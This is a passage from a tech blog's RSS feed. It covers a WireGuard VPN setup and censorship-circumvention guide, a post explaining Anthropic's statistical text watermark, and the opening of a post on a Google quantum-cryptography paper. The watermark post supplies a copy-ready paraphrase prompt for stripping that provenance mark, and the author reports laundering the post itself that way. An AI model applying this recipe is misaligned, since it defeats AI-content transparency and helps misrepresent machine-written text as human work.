<p><strong>On Linux:</strong> copy the <code>.conf</code> to <code>/etc/wireguard/wg0.conf</code> and bring it up with <code>sudo wg-quick up wg0</code> (plus <code>sudo systemctl enable wg-quick@wg0</code> to start it at boot). Or import the file straight into NetworkManager through the graphical interface, if you prefer clicking to typing.</p>
<p>A complete client <code>.conf</code>, for reference, looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="k">[Interface]</span>
</span></span><span class="line"><span class="cl"><span class="na">PrivateKey</span> <span class="o">=</span> <span class="s">&lt;THIS device&#39;s private key&gt;</span>
</span></span><span class="line"><span class="cl"><span class="na">Address</span> <span class="o">=</span> <span class="s">10.10.0.2/32</span>
</span></span><span class="line"><span class="cl"><span class="na">DNS</span> <span class="o">=</span> <span class="s">1.1.1.1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Peer]</span>
</span></span><span class="line"><span class="cl"><span class="na">PublicKey</span> <span class="o">=</span> <span class="s">&lt;server public key&gt;</span>
</span></span><span class="line"><span class="cl"><span class="na">Endpoint</span> <span class="o">=</span> <span class="s">SERVER_IP:51820</span>
</span></span><span class="line"><span class="cl"><span class="na">AllowedIPs</span> <span class="o">=</span> <span class="s">0.0.0.0/0</span>
</span></span><span class="line"><span class="cl"><span class="na">PersistentKeepalive</span> <span class="o">=</span> <span class="s">25</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Two details worth their weight in gold here. <code>PersistentKeepalive = 25</code> keeps the tunnel alive when you are behind NAT (home network, 4G), preventing the connection from silently dying. And <code>AllowedIPs = 0.0.0.0/0</code> is what pushes <strong>all</strong> traffic into the tunnel; without it, only traffic to the VPN&rsquo;s own IPs goes out encrypted. (The <code>DNS =</code> line works fine on Windows, macOS and phones; on Linux with systemd-resolved it can get in the way, as I explain in the common mistakes below.)</p>
<p><strong>Checking that it worked:</strong> with the tunnel active, run <code>curl ifconfig.me</code> in a terminal (or open <code>ipleak.net</code> in the browser). It must show your VPS IP, not your home one. If your network has IPv6, check separately with <code>curl -4 ifconfig.me</code> and <code>curl -6 ifconfig.me</code>: <strong>both</strong> must show the server. And visit <code>dnsleaktest.com</code>: DNS must exit through the tunnel too. If your ISP&rsquo;s DNS server shows up, there is a leak to fix.</p>
<p><strong>Minimum maintenance:</strong> enable <code>unattended-upgrades</code> so the system patches itself, use SSH keys instead of passwords, and install nothing else on that machine. Small surface, small risk.</p>
<h3>The 2026 way to do this: let the AI configure it<span class="hx:absolute hx:-mt-20" id="the-2026-way-to-do-this-let-the-ai-configure-it"></span>
    <a href="#the-2026-way-to-do-this-let-the-ai-configure-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If you got stuck on some step, remember it is 2026: you no longer need to master every command in this guide. I went down that path myself. I rented the VPS, handed the SSH access to the AI agent and asked for the full setup; on the other side, on my own machine, it imported the <code>.conf</code>, brought up <code>wg-quick</code>, enabled it at boot and checked for leaks at the end. Today my server is a reproducible Ansible playbook (kill the VPS, spin up another, run one command) and my laptop&rsquo;s config follows the same pattern. All in <strong>private</strong> repositories, private on purpose: VPN configuration is not the sort of thing I want strangers peeking at.</p>
<p><img src="gitea-my-vpnserver.png" alt="My private Gitea repository with the server’s Ansible playbook: “Private” badge, roles, group_vars and an operations README"  loading="lazy" /></p>
<p><em>Mine, running on my own Gitea: private, versioned, and the whole server comes back up with one command.</em></p>
<p>And if you are going to ask an AI to configure it, skip the generic &ldquo;install me a VPN&rdquo; and hand over the real requirements. Something like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Turn this fresh Ubuntu 24.04 VPS into a robust WireGuard server,
</span></span><span class="line"><span class="cl">preferably through an idempotent Ansible playbook (I want to be able to
</span></span><span class="line"><span class="cl">destroy the VPS and recreate everything by running one command).
</span></span><span class="line"><span class="cl">Requirements:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- WireGuard managed by wg-quick@wg0, server key generated on the server
</span></span><span class="line"><span class="cl">  itself (mode 0600), no exposed web panel
</span></span><span class="line"><span class="cl">- Dual-stack tunnel: IPv4 and IPv6 (fd00::/64 ULA subnet with NAT66), so
</span></span><span class="line"><span class="cl">  no traffic leaks outside on networks with native IPv6
</span></span><span class="line"><span class="cl">- ufw denying everything except SSH and the WireGuard UDP port
</span></span><span class="line"><span class="cl">- key-only sshd (no passwords), fail2ban on sshd, unattended-upgrades
</span></span><span class="line"><span class="cl">  with no automatic reboot
</span></span><span class="line"><span class="cl">- Peers declared as data in a config file: adding a client = adding one
</span></span><span class="line"><span class="cl">  entry and running the playbook again
</span></span><span class="line"><span class="cl">- Generate client .conf files with PersistentKeepalive=25, full-tunnel
</span></span><span class="line"><span class="cl">  AllowedIPs and QR codes via qrencode
</span></span><span class="line"><span class="cl">- At the end, print the verification commands (curl -4/-6 ifconfig.me,
</span></span><span class="line"><span class="cl">  wg show)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Finally, hand me a short operations README: how to add a client, how to
</span></span><span class="line"><span class="cl">update, when to reboot.</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The difference between a &ldquo;working&rdquo; server and a solid one lives entirely in those requirements: dual-stack, closed firewall, passwordless sshd, peers as data, reproducibility. The technical barrier of this entire article has, in practice, become a conversation.</p>
<h3>Common mistakes (and how to avoid them)<span class="hx:absolute hx:-mt-20" id="common-mistakes-and-how-to-avoid-them"></span>
    <a href="#common-mistakes-and-how-to-avoid-them" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I keep seeing the same stumbles whenever someone sets up their first self-hosted VPN. All avoidable:</p>
<ul>
<li><strong>Exposing the wg-easy panel to the internet.</strong> The number one classic mistake. The panel is the key to the vault: open on port 51821, any botnet scan finds it within hours. SSH tunnel always, open port never.</li>
<li><strong>Weak or recycled passwords on the panel and SSH.</strong> An entire VPN protected by <code>changeme123</code> is worse than no VPN. And disable SSH password login for good (<code>PasswordAuthentication no</code> in <code>sshd_config</code>) once your key is set up.</li>
<li><strong>Thinking you are anonymous because the IP is &ldquo;yours&rdquo;.</strong> The VPS is in your name, paid with your card. It protects you from mass blocking, not from an investigation with your name on it. The wrong level of paranoia creates a false sense of security, which is worse than none.</li>
<li><strong>A VPS in Brazil or from a Brazilian company.</strong> I have seen people build a &ldquo;privacy VPN&rdquo; on a national provider. If the court order arrives in the same country, you did not leave the reach, you just changed shelves. Server abroad, jurisdiction abroad.</li>
<li><strong>Handing out access to half the world.</strong> Each extra person is one more device, one more usage pattern, one more mouth. Close family, fine; a 40-contact group, no. The more people on the same IP, the faster it lands on some list.</li>
<li><strong>Using the same machine for other things.</strong> Personal blog, Telegram bot, seedbox: all of that grows the attack surface and ties together identities you wanted separate. The VPN VPS is for the VPN only.</li>
<li><strong>Trusting without testing for leaks.</strong> After setting up, test: <code>ipleak.net</code> or <code>dnsleaktest.com</code> with the VPN on. If your real IP or your ISP&rsquo;s DNS shows up, something is wrong, and this is the only way you find out.</li>
<li><strong>Forgetting IPv6.</strong> This one got even me: an IPv4-only tunnel on a network with native IPv6, and all the v6 traffic goes around the VPN, in the clear, without you noticing. Either the tunnel is dual-stack, or half of your traffic leaks. Test with <code>curl -6 ifconfig.me</code>.</li>
<li><strong>The <code>DNS =</code> line breaking the Linux client.</strong> On systemd-resolved systems (Ubuntu, Fedora and the like), <code>wg-quick</code> calls openresolv to write the DNS, openresolv refuses to touch the <code>/etc/resolv.conf</code> owned by systemd-resolved (&ldquo;signature mismatch&rdquo; error) and the whole interface fails to come up. If your system DNS already works fine, just remove the line: queries ride the tunnel anyway.</li>
<li><strong>Losing the printer, the NAS and the local network.</strong> With <code>AllowedIPs = 0.0.0.0/0</code>, even traffic inside your own home tries to go through the tunnel. The fix is a policy routing rule evaluated before WireGuard&rsquo;s own rules: <code>PostUp = ip rule add to 192.168.0.0/16 lookup main priority 1000</code> (plus the matching <code>PostDown</code> to undo it on shutdown).</li>
<li><strong>Chaining <code>wg-quick down &amp;&amp; up</code>.</strong> <code>down</code> returns an error when the interface is already down, and with <code>&amp;&amp;</code> the <code>up</code> never runs. Run <code>up</code> on its own.</li>
<li><strong>Installing and abandoning.</strong> A server without updates for a year is a server with known vulnerabilities. And test the connection from time to time: what works today can be fingerprinted tomorrow.</li>
<li><strong>No backup of the configuration.</strong> The <code>~/.wg-easy</code> directory holds everything (keys, clients). Keep an encrypted local copy. If the VPS dies or gets shut down by the provider, you bring another one up in ten minutes instead of starting from zero.</li>
</ul>
<blockquote>
  <p><strong>Keep this:</strong> a US$ 5 VPS outside Brazil running WireGuard gets you out of any mass block based on catalogued IPs. The price is your signup record at the provider: acceptable against blocking, insufficient against a named investigation.</p>

</blockquote>
<h2>The invisible enemy: DPI<span class="hx:absolute hx:-mt-20" id="the-invisible-enemy-dpi"></span>
    <a href="#the-invisible-enemy-dpi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far I have assumed the censor blocks <strong>addresses</strong>. Their next level is blocking <strong>formats</strong>, and that is where deep packet inspection (DPI) lives.</p>
<p>Even encrypted, a VPN tunnel has a signature. The initial handshake of WireGuard and OpenVPN has characteristic packet sizes, sequences and timings. The content is unreadable, but the shape screams &ldquo;I am a VPN&rdquo;. China does exactly this at national scale: it does not need to read your traffic, it only needs to recognize the protocol and drop the connection.</p>
<blockquote>
  <p><strong>Keep this:</strong> the censor does not need to read your traffic to block you. Recognizing the tunnel&rsquo;s shape is enough. That is why obfuscation exists.</p>

</blockquote>
<p>The technical answer is <strong>obfuscation</strong>: making the tunnel look like something else.</p>
<ul>
<li><strong><a href="https://amnezia.org/"target="_blank" rel="noopener">AmneziaWG</a></strong>: a WireGuard fork that injects junk packets and scrambles headers until the signature vanishes. Same audited WireGuard base, free apps for every platform, and it points at the same kind of VPS from Phase 2. If you set up wg-easy, migrating to Amnezia is the natural step when DPI arrives.</li>
<li><strong>udp2raw</strong>: wraps WireGuard&rsquo;s UDP traffic inside fake TCP packets that look like an ordinary connection.</li>
<li><strong>Shadowsocks</strong>: born in China precisely for this, an encrypted proxy designed to have no recognizable signature.</li>
</ul>
<p>Notice we are still talking about free tools and a US$ 5 VPS. The cost rises for the censor much faster than for you.</p>
<h2>Phase 3: when even your VPS is not enough<span class="hx:absolute hx:-mt-20" id="phase-3-when-even-your-vps-is-not-enough"></span>
    <a href="#phase-3-when-even-your-vps-is-not-enough" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If the scenario degrades to national DPI with protocol blocking, the game becomes heavy camouflage and redundancy. The real options, in order of effort:</p>
<p><strong>Protocols that disguise themselves as ordinary HTTPS.</strong> The current state of the art is <strong>VLESS with Reality</strong> (from the Xray-core project): your traffic presents itself as a legitimate TLS 1.3 connection to a real, innocent website, with certificate, handshake and packet pattern indistinguishable from a normal visit. To block you, the censor would have to block the innocent site too, and the collateral damage is the defense. <strong>Trojan-Go</strong> follows a similar philosophy. <strong>Outline</strong>, from Jigsaw (Google), packages Shadowsocks with a friendly manager if you want to hand out access to family and friends.</p>
<p><strong>Tor with bridges.</strong> Plain Tor is blocked by default in censoring countries, but obfs4 bridges and Snowflake were tailor-made for that scenario: Snowflake disguises your entry into the Tor network as an ordinary WebRTC video call. It is slow, forget streaming, but it is the hardest network to extinguish in existence, maintained precisely for journalists and activists in hostile countries.</p>
<p><strong>Redundancy and rotation.</strong> Two or three cheap VPSs at different providers, with automatic failover. If one lands on a blacklist, you switch in minutes: new instance, new IP. Your cost: another US$ 5. The censor&rsquo;s cost: find and block it again, every time.</p>
<p><strong>Alternative access.</strong> Starlink and other satellite links leave the national ground infrastructure entirely. As long as they are not regulated as well, they are the physical last resort. And for extreme cases, the usual sneakernet: thumb drive, external disk, physical copies.</p>
<p><strong>Client-side hygiene</strong>, valid in every phase:</p>
<ul>
<li><strong>Kill switch on</strong>: if the tunnel drops, the device cuts the internet instead of leaking through your real IP.</li>
<li><strong>DNS leak protection</strong>: your DNS queries must go through the tunnel, otherwise your ISP keeps seeing every site you visit.</li>
<li><strong>WebRTC disabled in the browser</strong> (or use an extension): it leaks your real IP even with the VPN on.</li>
<li><strong>VPN on when needed, not always</strong>: a 24/7 usage pattern becomes a behavioral signature of its own.</li>
</ul>
<p>And the usual honest notes: running your own server for personal use is legal; using it to commit crimes is not. And since 2026, with the new sentence enhancement, &ldquo;using a VPN&rdquo; weighs on the sentence of any crime you would commit anyway. Keep the surface small, test your connectivity from inside Brazil regularly (what works today can be fingerprinted tomorrow), have a plan B (a second VPS, a Tor profile with bridges) and keep offline copies of everything critical.</p>
<p><strong>Realistic assessment:</strong> no solution is permanent against a determined, well-funded censor. The goal here is different: make mass blocking expensive until it becomes a bad deal, technically and politically. A country that needs to take down half of the legitimate internet to silence half a dozen voices has a public relations problem, not a technology one. That cost is where we place our bet.</p>
<blockquote>
  <p><strong>Keep this:</strong> the staircase is commercial VPN, then your own VPN, then obfuscated protocol, then Tor with bridges, then satellite. Each step raises your cost a little and the censor&rsquo;s a lot. Start climbing before you need to.</p>

</blockquote>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The Brazilian pattern is what I called censorship by accumulation: no single step looks like the end of the world, and each comes with its little plaque of good intentions. But blocking infrastructure, once built, has no moral owner: it serves today&rsquo;s government and tomorrow&rsquo;s, against today&rsquo;s target and against you.</p>
<p>Free communication infrastructure works exactly the same: also built by accumulation, also brick by brick. A commercial VPN configured today. Your own VPS tomorrow. An obfuscated protocol in the drawer for when it is needed. None of this is paranoia. It works like backups: you do not wait for the disk to fail before starting.</p>
<p>And if you want to follow this frontier closely, a personal recommendation: follow <a href="https://x.com/ayubio"target="_blank" rel="noopener">Ayub</a>. He is the best source on internet infrastructure and state censorship in Brazil today. He was the one who <a href="https://x.com/ayubio/status/2058990595503509513"target="_blank" rel="noopener">sounded the alarm about the VPN criminalization in bill PL 3066/2025</a> months before it became law. And in recent days he has been covering two things the mainstream press barely touched: the handover of over R$ 100 billion in public networks, ducts and federal properties to the carriers and BTG Pactual, and the technical apparatus of the new Marco Civil regulation, which according to him gave Anatel <a href="https://rendageek.com.br/noticias/marco-civil-da-internet-novas-regras/"target="_blank" rel="noopener">remote access to ISPs&rsquo; edge routers</a>. He posts in Portuguese, but your browser&rsquo;s translator handles it. Required reading to understand where the next step of the staircase comes from.</p>
<p>The best time to build your tunnel was before you needed it. The second best time is now.</p>
]]></content:encoded><category>networking</category><category>security</category><category>law-and-regulation</category></item><item><title>Understanding Anthropic's AI Watermark: How to Beat It</title><link>https://akitaonrails.github.io/en/2026/08/16/anthropic-ai-watermark-how-to-beat-it/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/16/anthropic-ai-watermark-how-to-beat-it/</guid><pubDate>Sun, 16 Aug 2026 16:00:00 -0300</pubDate><description>&lt;p&gt;Claude now ships with a stamp on it. Since August 2, 2026, Anthropic has been invisibly marking the text of its newest models, with the older ones migrating over the following months.&lt;/p&gt;
&lt;p&gt;No off switch. The backlash came fast: a &lt;a href="https://www.businessinsider.com/claude-users-cancel-subscriptions-citing-anthropic-new-ai-watermark-2026-8"target="_blank" rel="noopener"&gt;wave of subscription cancellations&lt;/a&gt;, with cancellation screenshots making the rounds on X.&lt;/p&gt;
&lt;p&gt;Before you cancel on reflex, it&amp;rsquo;s worth knowing what the mark actually is. It works quite differently from what most people picture, it exists for a concrete reason, and it vanishes with an almost comic ease.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Claude now ships with a stamp on it. Since August 2, 2026, Anthropic has been invisibly marking the text of its newest models, with the older ones migrating over the following months.</p>
<p>No off switch. The backlash came fast: a <a href="https://www.businessinsider.com/claude-users-cancel-subscriptions-citing-anthropic-new-ai-watermark-2026-8"target="_blank" rel="noopener">wave of subscription cancellations</a>, with cancellation screenshots making the rounds on X.</p>
<p>Before you cancel on reflex, it&rsquo;s worth knowing what the mark actually is. It works quite differently from what most people picture, it exists for a concrete reason, and it vanishes with an almost comic ease.</p>
<p>For those in a hurry, the essentials:</p>
<ul>
<li><strong>A statistical bias in the words Claude picks.</strong> Invisible to the reader, detectable only by whoever holds Anthropic&rsquo;s key. Hidden characters and strange fonts stay out.</li>
<li><strong>The origin is European law, the AI Act.</strong> Anthropic signed the EU transparency code and chose to stamp the whole world; the why comes below.</li>
<li><strong>One pass through another LLM erases the stamp.</strong> The signal lives in Claude&rsquo;s word choices; when another model rewrites the text, even a weak local one, the choices become its own and the pattern dissolves. Anthropic itself admits this.</li>
</ul>
<p>Each point in detail below.</p>
<h2>What this watermark actually is<span class="hx:absolute hx:-mt-20" id="what-this-watermark-actually-is"></span>
    <a href="#what-this-watermark-actually-is" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Strike the invisible Unicode character, the hidden space mid-line, the altered font. Anthropic&rsquo;s watermark is <a href="https://www.anthropic.com/news/claude-text-watermark"target="_blank" rel="noopener">statistical</a>: it acts at the moment Claude decides which word to use, precisely at the points where several words would serve equally well.</p>
<p>Every language model assembles text one word at a time, pulling the next from a list of likely candidates. When two or three work equally well, a random number settles it. The watermark changes where that randomness comes from: the number now derives from a secret key combined with the preceding words. The method is inherited from <a href="https://ai.google.dev/responsible/docs/safeguards/synthid"target="_blank" rel="noopener">SynthID-Text</a> at Google DeepMind.</p>
<p>A concrete example. Talking about the weather, &ldquo;the sky was overcast&rdquo; and &ldquo;the sky was grey&rdquo; carry the same information. At these synonym junctions, the key leans Claude one way more often than pure chance would. Each individual choice goes unnoticed, but a long text repeats this decision point hundreds of times, and the whole ends up forming a statistical signature.</p>
<p>Anthropic&rsquo;s announcement is blunt: <strong>the text gains nothing, and no character stays hidden</strong>. The cost stays the same because no extra tokens are generated, and the reading is identical. Whoever holds the key runs a detector, compares the sequence of words against Claude&rsquo;s typical choices, and gets back a probability that the text came from Claude.</p>
<p>And what the mark proves boils down to this: Claude <strong>was involved</strong> at some point. It doesn&rsquo;t distinguish text the model wrote from scratch from text it merely edited heavily. About you, nothing gets recorded: no user, no company, no identified conversation.</p>
<p>The stamp covers text in Claude.ai, the API, Claude Code, and the other products. In code it shows up less, since code rarely lets you swap one term for an equivalent. Files and images take a different route, a signed piece of metadata called C2PA, instead of this text watermark. And the limitation matters: on short or highly factual passages, where almost no word choice exists, the detector weakens.</p>
<h2>Why so many people canceled<span class="hx:absolute hx:-mt-20" id="why-so-many-people-canceled"></span>
    <a href="#why-so-many-people-canceled" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The spark added up three ingredients: mandatory, global reach, and no opt-out. The mark can&rsquo;t be switched off and applies outside Europe too. A wave of Claude Max subscribers <a href="https://www.forbes.com/sites/maryroeloffs/2026/08/11/claude-will-put-invisible-watermarks-on-ai-text-and-images-and-the-internet-isnt-happy/"target="_blank" rel="noopener">canceled citing control and authorship</a> of their own material.</p>
<p>The fear is concrete, professional and academic. Drafting with Claude and signing the result as your own becomes a liability if, down the road, a detector points at &ldquo;went through AI&rdquo;. <a href="https://gizmodo.com/anthropic-explains-its-watermark-system-as-some-claude-users-loudly-revolt-2000799022"target="_blank" rel="noopener">Anthropic answered with a post</a> insisting the mark preserves reading, meaning, and quality, only signaling processing. Not everyone bought it.</p>
<h2>The European law behind the stamp<span class="hx:absolute hx:-mt-20" id="the-european-law-behind-the-stamp"></span>
    <a href="#the-european-law-behind-the-stamp" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The stamp was born of a concrete obligation. <a href="https://artificialintelligenceact.eu/article/50/"target="_blank" rel="noopener">Article 50 of the AI Act</a> requires providers of generative AI systems to mark output in machine-readable form, so artificial content can be identified as such. The obligation took effect on August 2, 2026, and violating it costs real money: fines up to €15 million or 3% of annual global revenue.</p>
<p>Back in July 2026, Anthropic had signed the European Commission&rsquo;s Code of Practice on Transparency for AI-Generated Content, alongside other major model providers, in a group of roughly 190 signatories. The others will implement their own watermarks too, each with its own key and its own method.</p>
<p>That left Anthropic with a decision: restrict marking to Europe or extend it to the whole planet. The company says it still has no durable way to scope the mark by region, so it chose to stamp everything, everywhere, from day one. Hence the stamp showing up in the text of Brazilian and Japanese subscribers, who have nothing to do with European law.</p>
<h2>Can you remove it by passing the text through another LLM?<span class="hx:absolute hx:-mt-20" id="can-you-remove-it-by-passing-the-text-through-another-llm"></span>
    <a href="#can-you-remove-it-by-passing-the-text-through-another-llm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>That&rsquo;s the question I get most. Short answer: yes, and it&rsquo;s easy. The signal lives in Claude&rsquo;s word choices; when another model rewrites the text, the choices become that model&rsquo;s, and the statistical pattern comes apart.</p>
<p>Anthropic itself admits it. Light retouching probably leaves pieces of the mark, but <strong>a complete rewrite, with every word swapped, kills the signal</strong>. The logic is simple: the detector measures which synonyms Claude preferred; if another model picked its own synonyms, there&rsquo;s nothing of Claude left to measure.</p>
<p>Academia confirms the direction. <a href="https://arxiv.org/abs/2508.20228"target="_blank" rel="noopener">Robustness tests of SynthID</a>, done at Queen&rsquo;s University, start from perfect detection with no attack and show the rate dropping to around 84% after a dedicated paraphraser, and below 70% with round-trip translation. The more aggressive the rewrite, the more the signal degrades.</p>
<p>And yes, your intuition is right: <strong>a modest model, even a local one, does the job</strong>. Rearranging text while preserving the meaning is a task that calls for zero deep reasoning. A GLM, a Kimi, a small Llama running on your machine rewrites the paragraph and wipes the signature along the way. Swapping &ldquo;overcast&rdquo; for &ldquo;grey&rdquo; a thousand times is nowhere near needing the smartest model on the market.</p>
<p>Two honest caveats. The rewrite has to be genuine, word by word; a spell-checker pass doesn&rsquo;t come close to counting. And all of this applies to the text watermark: files and images carry that C2PA metadata, which comes off by another method, stripping the file&rsquo;s metadata.</p>
<h2>What prompt would pull this off<span class="hx:absolute hx:-mt-20" id="what-prompt-would-pull-this-off"></span>
    <a href="#what-prompt-would-pull-this-off" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Add up the watermark&rsquo;s criteria and the removal prompt practically writes itself. The mark inhabits synonym and structure choices, survives light editing, and needs text of some length. So the prompt has to demand maximum vocabulary and structure swap while holding the meaning in place.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Rewrite the text below in full, in your own words.
</span></span><span class="line"><span class="cl">Replace the vocabulary and restructure the sentences from start to finish:
</span></span><span class="line"><span class="cl">pick different synonyms, change the order of the clauses, vary the construction.
</span></span><span class="line"><span class="cl">Keep the exact meaning, the facts, and the tone.
</span></span><span class="line"><span class="cl">Avoid reproducing any literal expression from the original.
</span></span><span class="line"><span class="cl">Return only the rewritten text.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Text:
</span></span><span class="line"><span class="cl">&#34;&#34;&#34;
</span></span><span class="line"><span class="cl">&lt;paste the Claude text here&gt;
</span></span><span class="line"><span class="cl">&#34;&#34;&#34;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Each line targets one criterion. &ldquo;In your own words&rdquo; and &ldquo;replace the vocabulary&rdquo; dismantle the synonym junctions where the mark hides. &ldquo;Restructure the sentences&rdquo; and &ldquo;change the order of the clauses&rdquo; break the word sequence the detector compares. &ldquo;Avoid reproducing any literal expression&rdquo; seals the gaps a light edit would leave open.</p>
<p>No magic here, and that&rsquo;s by design. Anthropic knows the limit and says it plainly: the mark is soft, attests that Claude touched the text, and disappears in the face of a serious rewrite. It works as a provenance label in a world where most people will never bother to erase it; against whoever decides to erase it, the signal is weak.</p>
<h2>Where this leaves us<span class="hx:absolute hx:-mt-20" id="where-this-leaves-us"></span>
    <a href="#where-this-leaves-us" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In my accounting, the watermark scares less and does less than both sides of the shouting advertise. It&rsquo;s invisible, carries zero data about you, and proves at most that Claude passed through the text. A rewrite in any model dissolves it. It&rsquo;s a deliberately weak provenance label, designed to satisfy European law.</p>
<p>Still, canceling over it follows a logic I understand. Compulsory, planetary marking with no exit door irritates the people paying for the tool. And of the roughly 190 signatories to the European Code, Claude was the first to hit the headlines, absorbing the revolt wave all alone.</p>
<p>If you just want to use Claude and get on with your life, the day-to-day difference is barely there. If you need your text not to scream &ldquo;AI&rdquo;, a paragraph rewritten in a local model fixes it, and the recipe comes straight from Anthropic itself. The noise ended up much bigger than the hole.</p>
<h2>How this text was made<span class="hx:absolute hx:-mt-20" id="how-this-text-was-made"></span>
    <a href="#how-this-text-was-made" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Transparency suits the subject. The first draft of this article was written by Claude. Then Kimi ran the fact-check, claim by claim, against the original sources, and caught an invented statistic along the way, which we corrected. Finally, GLM rewrote the entire text, word by word, following the recipe from the sections above.</p>
<p>In other words: the article applies to itself what it teaches. It left Claude, passed through Kimi&rsquo;s sieve, and came back with GLM&rsquo;s vocabulary and construction. If the original draft carried the watermark, the complete rewrite swapped the word choices, and with them the signal. With no public detector, nobody can check from the outside; the recipe, anyone can test.</p>
]]></content:encoded><category>llms</category><category>security</category><category>law-and-regulation</category></item><item><title>What the Google Quantum Vulnerability Paper Means</title><link>https://akitaonrails.github.io/en/2026/08/16/what-the-google-quantum-vulnerability-paper-means/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/16/what-the-google-quantum-vulnerability-paper-means/</guid><pubDate>Sun, 16 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;A Google paper dropped, and the predictable headline came with it: &amp;ldquo;quantum computer will break Bitcoin.&amp;rdquo; On the other side, the &amp;ldquo;it&amp;rsquo;s FUD, ignore it&amp;rdquo; crowd answered at the same volume. Both reactions are wrong, and the paper itself is far more interesting than either shouting match.&lt;/p&gt;
&lt;p&gt;The document is called &lt;a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener"&gt;Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities&lt;/a&gt;, and the author list alone forces you to take it seriously: it&amp;rsquo;s Google Quantum AI (with Craig Gidney, the same guy behind the recent &lt;a href="https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29"target="_blank" rel="noopener"&gt;RSA&lt;/a&gt;-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of &lt;a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography"target="_blank" rel="noopener"&gt;elliptic-curve cryptography&lt;/a&gt;). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they&amp;rsquo;re trashing.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A Google paper dropped, and the predictable headline came with it: &ldquo;quantum computer will break Bitcoin.&rdquo; On the other side, the &ldquo;it&rsquo;s FUD, ignore it&rdquo; crowd answered at the same volume. Both reactions are wrong, and the paper itself is far more interesting than either shouting match.</p>
